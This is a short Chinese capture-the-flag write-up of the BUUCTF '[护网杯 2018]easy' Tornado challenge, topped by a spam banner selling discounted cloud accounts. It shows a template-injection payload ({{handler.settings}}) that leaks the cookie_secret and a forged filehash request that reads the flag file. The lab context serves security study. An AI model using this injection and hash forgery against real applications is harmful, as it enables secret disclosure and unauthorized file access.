buuctf-web-[护网杯 2018]easy
| 阿里云国内75折 回扣 微信号：monov8 |
| 阿里云国际，腾讯云国际，低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号：monov8 飞机：@monov6 |
打开环境
点击第一个链接知道flag在/fllllllllllllag中
配合关键词tornado搜索得到提示
python ssti tornado render模板注入
打开第三个链接
看到链接内容
http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=89b44c932667ab065f61314843fd37a6需要通过cookie_secret和filename进行请求伪造
当filehash错误时进入一个错误界面
http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/error?msg=Error找到注入点
http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/error?msg={{escape}}
通过handler.settings进行注入
http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/error?msg={{handler.settings}}得到cookie_secret为5fa731cd-0e31-45e7-b23c-16603a014436
根据提示进行计算
拼凑出payload
fliename为/fllllllllllllag
http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=616185a0fe5ce55f598737d6516858a6
flag{f9ec63e3-a9aa-4857-bf67-5825ba80a73e}